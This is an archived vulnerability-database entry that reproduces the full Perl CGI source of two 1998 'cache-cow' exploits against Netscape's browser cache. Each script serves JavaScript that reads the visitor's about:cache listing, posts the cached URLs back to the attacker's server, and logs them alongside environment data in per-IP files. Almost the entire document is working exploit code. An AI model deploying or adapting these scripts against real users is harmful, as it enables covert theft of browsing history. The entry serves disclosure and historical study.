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netscape-cache-exploit.txt
`Below is source code for the two versions of the Netscape Cache
exploit that was recently discovered by Dan Brumleve
<[email protected]>, as found on his web site at
http://www.shout.net/~nothing/cache-cow/index.html
First version <cache-cow.cgi>, and then second version
<view-cache-cow-4.06.cgi> listed.
-----snip-----
#!/usr/bin/perl
#
# cache-cow.cgi -- Dan Brumleve <[email protected]>, 1998.08.23
my $self = "http://www.shout.net/nothing/cache-cow.cgi";
if ($ENV{PATH_INFO}) {
(my$o=<<" EOF")=~s/\n| //g;print"Content-type: text/html\n\n".$o;
<html><body onLoad="document.f.submit()"><ba se href="about:"><for
m name=f action=cache method=post><input type=submit></form></body>
</html>
EOF
} elsif ($ENV{CONTENT_LENGTH}) {
my $input;read(STDIN,$input,$ENV{CONTENT_LENGTH});sub unescape{my $s
=shift;$s=~tr/+/ /;$s=~s/%([0-9a-fA-F]{2})/pack("c",hex($1))/ge;$s;}
sub extract{my($n,$v)=map{unescape($_)}split(/=/,shift);}my$history=
join("\n",sort map{my($n,$v)=extract($_);$v=~s/^about://;$v||();}#=)
split(/&/,{map{extract($_)}split(/&/,$input)}->{cache}))."\n"; open(
FP,">> logs/log-$ENV{REMOTE_ADDR}.txt");for(sort keys %ENV){print FP
$_."=".$ENV{$_}."\n"}print FP "\n".$history."\n";close(FP);print"C".
"ontent-type: text/plain\n\nHere are the URLs retrieved from your ".
"browser:\n\n$history";
} else {
(my$url=<<" EOF")=~s/ |\n//g;print"Location: $url\n\n";
$self/></a></body><script>function chunk(s){return("href=
"+escape(s));}function moo(){if(!document.links.length){r
eturn("");}var str=chunk(document.links[0]);var i=documen
t.links.length;while(--i){str+="&"+chunk(document.links[i
]);}return(str);}</script><body onLoad="document.f.cache.
value=moo();document.f.submit()"><form action="$self" nam
e=f method=post><input type=hidden name=cache><input type
=submit></form><a href=$self
EOF
}
exit 0;
-----snip-----
-----snip-----
#!/usr/bin/perl
#
# cache-cow-4.06.cgi -- Dan Brumleve <[email protected]>, 1998.09.26
my $self = "http://www.shout.net/nothing/cache-cow-4.06.cgi";
if ($ENV{QUERY_STRING}) {
(my$o=<<" EOF")=~s/\n| //g;print"Content-type: text/html\n\n".$o;
<html><head><script>function chunk(s){return("href=" + escape(s));}
function moo(d){if(!d.l inks.length){return("");} var str=chunk(d.
links[0]);var i=d.links.length;wh ile(--i){str+="&"+chunk(d.links[
i]);} return(s tr);}function check(){ var m=moo(top.cache.document
); if (m=="") { docume nt.location.reload(); return; }document.f.c
ache.value=m;doc ument.f.submit();}</script></head><body onLoad="c
heck()"><form acti on="$self" name=f target=_top method=post><inpu
t type=hidden name=cac he><input type=submit></form></body></html>
EOF
} elsif ($ENV{PATH_INFO}) {
(my$o=<<" EOF")=~s/\n| //g;print"Content-type: text/html\n\n".$o;
<html><body onLoad="document.f.submit()"><ba se href="about:"><for
m name=f action=cache method=post><input type=submit></form></body>
</html>
EOF
} elsif ($ENV{CONTENT_LENGTH}) {
my $input;read(STDIN,$input,$ENV{CONTENT_LENGTH});sub unescape{my $s
=shift;$s=~tr/+/ /;$s=~s/%([0-9a-fA-F]{2})/pack("c",hex($1))/ge;$s;}
sub extract{my($n,$v)=map{unescape($_)}split(/=/,shift);}my$history=
join("\n",sort map{my($n,$v)=extract($_);$v=~s/^about://;$v||();}#=)
split(/&/,{map{extract($_)}split(/&/,$input)}->{cache}))."\n"; open(
FP,">> logs/log-$ENV{REMOTE_ADDR}.txt");for(sort keys %ENV){print FP
$_."=".$ENV{$_}."\n"}print FP "\n".$history."\n";close(FP);print"C".
"ontent-type: text/plain\n\nHere are the URLs retrieved from your ".
"browser:\n\n$history";
} else {
print"Content-type: text/html\n\n".<<" EOF";
<html><head> <frameset rows="1,*"><frame src=
"$self?cow" name=cow><frame src="$self/cache"
name=cache></frameset></head></html>
EOF
}
exit 0;
-----snip-----
`
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17 Aug 1999 00:00Current
7.4High risk
Vulners AI Score7.4